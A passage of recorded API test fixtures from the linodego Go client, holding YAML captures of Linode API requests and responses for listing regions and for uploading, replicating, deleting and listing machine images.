"site_type": "core"}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5,139.162.131.5,139.162.132.5,139.162.133.5,139.162.134.5,139.162.135.5,139.162.136.5,139.162.137.5,139.162.138.5,139.162.139.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo 2, JP", "country": "jp", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5,139.162.67.5,139.162.68.5,139.162.69.5,139.162.70.5,139.162.71.5,139.162.72.5,139.162.73.5,139.162.74.5,139.162.75.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 27}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Fri, 20 Sep 2024 15:19:48 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"us-ord","label":"linodego-image-replication","description":"An image that does stuff."}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/images/upload method: POST response: body: '{"upload_to": "https://us-ord-1.linodeobjects.com:443/linode-production-machine-images-uploads/27384383?Signature=ij3pJ%2BNEAFkeYB09ACG%2BmAGMbGQ%3D&Expires=1726931989&AWSAccessKeyID=SANITIZED", "image": {"id": "private/27384383", "label": "linodego-image-replication", "description": "An image that does stuff.", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "size": 0, "created_by": "ychen123", "type": "manual", "tags": [], "is_public": false, "deprecated": false, "vendor": null, "expiry": null, "eol": null, "status": "pending_upload", "capabilities": [], "regions": [], "total_size": 0}}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "626" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Fri, 20 Sep 2024 15:19:49 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - images:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/images/private%2F27384383 method: GET response: body: '{"id": "private/27384383", "label": "linodego-image-replication", "description": "An image that does stuff.", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "size": 0, "created_by": "ychen123", "type": "manual", "tags": [], "is_public": false, "deprecated": false, "vendor": null, "expiry": null, "eol": null, "status": "pending_upload", "capabilities": [], "regions": [], "total_size": 0}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "410" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Fri, 20 Sep 2024 15:20:04 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - images:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/images/private%2F27384383 method: GET response: body: '{"id": "private/27384383", "label": "linodego-image-replication", "description": "An image that does stuff.", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "size": 0, "created_by": "ychen123", "type": "manual", "tags": [], "is_public": false, "deprecated": false, "vendor": null, "expiry": null, "eol": null, "status": "pending_upload", "capabilities": [], "regions": [], "total_size": 0}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "410" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Fri, 20 Sep 2024 15:20:20 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - images:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/images/private%2F27384383 method: GET response: body: '{"id": "private/27384383", "label": "linodego-image-replication", "description": "An image that does stuff.", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "size": 1, "created_by": "ychen123", "type": "manual", "tags": [], "is_public": false, "deprecated": false, "vendor": null, "expiry": null, "eol": null, "status": "available", "capabilities": ["distributed-sites"], "regions": [{"region": "us-ord", "status": "available"}], "total_size": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "467" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Fri, 20 Sep 2024 15:20:35 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - images:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"regions":["us-iad","us-ord"]}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/images/private%2F27384383/regions method: POST response: body: '{"id": "private/27384383", "label": "linodego-image-replication", "description": "An image that does stuff.", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "size": 1, "created_by": "ychen123", "type": "manual", "tags": [], "is_public": false, "deprecated": false, "vendor": null, "expiry": null, "eol": null, "status": "available", "capabilities": ["distributed-sites"], "regions": [{"region": "us-ord", "status": "available"}, {"region": "us-iad", "status": "pending replication"}], "total_size": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "522" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Fri, 20 Sep 2024 15:20:35 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - images:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/images/private%2F27384383 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Fri, 20 Sep 2024 15:20:35 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - images:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestImage_Upload.yaml000066400000000000000000000255311474652371000306440ustar00rootroot00000000000000--- version: 1 interactions: - request: body: '{"region":"us-ord","label":"linodego-image-test","description":"An image that does stuff."}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/images/upload method: POST response: body: '{"upload_to": "https://us-ord-1.linodeobjects.com:443/linode-production-machine-images-uploads/26427534?Signature=Q%2FZG9cXoT7rO4Naerg53RQc3%2BgA%3D&Expires=1722015891&AWSAccessKeyID=SANITIZED", "image": {"id": "private/26427534", "label": "linodego-image-test", "description": "An image that does stuff.", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "size": 0, "created_by": "ychen123", "type": "manual", "tags": [], "is_public": false, "deprecated": false, "vendor": null, "expiry": null, "eol": null, "status": "pending_upload", "capabilities": []}}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "587" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:44:51 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - images:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/images/private%2F26427534 method: GET response: body: '{"id": "private/26427534", "label": "linodego-image-test", "description": "An image that does stuff.", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "size": 0, "created_by": "ychen123", "type": "manual", "tags": [], "is_public": false, "deprecated": false, "vendor": null, "expiry": null, "eol": null, "status": "pending_upload", "capabilities": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "371" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:45:07 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - images:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/images/private%2F26427534 method: GET response: body: '{"id": "private/26427534", "label": "linodego-image-test", "description": "An image that does stuff.", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "size": 0, "created_by": "ychen123", "type": "manual", "tags": [], "is_public": false, "deprecated": false, "vendor": null, "expiry": null, "eol": null, "status": "pending_upload", "capabilities": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "371" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:45:22 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - images:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/images/private%2F26427534 method: GET response: body: '{"id": "private/26427534", "label": "linodego-image-test", "description": "An image that does stuff.", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "size": 1, "created_by": "ychen123", "type": "manual", "tags": [], "is_public": false, "deprecated": false, "vendor": null, "expiry": null, "eol": null, "status": "available", "capabilities": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "366" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:45:37 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - images:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/images/private%2F26427534 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:45:37 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - images:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestImages_List.yaml000066400000000000000000000375441474652371000305250ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/images?page=1 method: GET response: body: '{"pages": 1, "data": [{"id": "private/26425827", "label": "test_1721924280886354", "description": "Test description", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "size": 1293, "created_by": "ychen123", "type": "manual", "tags": ["test"], "is_public": false, "deprecated": false, "vendor": null, "expiry": null, "eol": null, "status": "available", "capabilities": []}, {"id": "private/26426164", "label": "test_1721925185088324", "description": "Test description", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "size": 1292, "created_by": "ychen123", "type": "manual", "tags": ["test"], "is_public": false, "deprecated": false, "vendor": null, "expiry": null, "eol": null, "status": "available", "capabilities": []}, {"id": "linode/almalinux8", "label": "AlmaLinux 8", "deprecated": false, "size": 2700, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "tags": [], "is_public": true, "vendor": "AlmaLinux", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/almalinux9", "label": "AlmaLinux 9", "deprecated": false, "size": 1700, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "tags": [], "is_public": true, "vendor": "AlmaLinux", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/alpine3.17", "label": "Alpine 3.17", "deprecated": false, "size": 400, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "tags": [], "is_public": true, "vendor": "Alpine", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/alpine3.18", "label": "Alpine 3.18", "deprecated": false, "size": 400, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "tags": [], "is_public": true, "vendor": "Alpine", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/alpine3.19", "label": "Alpine 3.19", "deprecated": false, "size": 400, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "tags": [], "is_public": true, "vendor": "Alpine", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/alpine3.20", "label": "Alpine 3.20", "deprecated": false, "size": 400, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "tags": [], "is_public": true, "vendor": "Alpine", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/arch", "label": "Arch Linux", "deprecated": false, "size": 1500, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "tags": [], "is_public": true, "vendor": "Arch", "expiry": null, "eol": null, "status": "available", "capabilities": []}, {"id": "linode/centos-stream9", "label": "CentOS Stream 9", "deprecated": false, "size": 1200, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "tags": [], "is_public": true, "vendor": "CentOS", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/debian11", "label": "Debian 11", "deprecated": false, "size": 1500, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "tags": [], "is_public": true, "vendor": "Debian", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": ["cloud-init"]}, {"id": "linode/debian12", "label": "Debian 12", "deprecated": false, "size": 1500, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "tags": [], "is_public": true, "vendor": "Debian", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/fedora39", "label": "Fedora 39", "deprecated": false, "size": 1800, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "tags": [], "is_public": true, "vendor": "Fedora", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/fedora40", "label": "Fedora 40", "deprecated": false, "size": 2000, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", 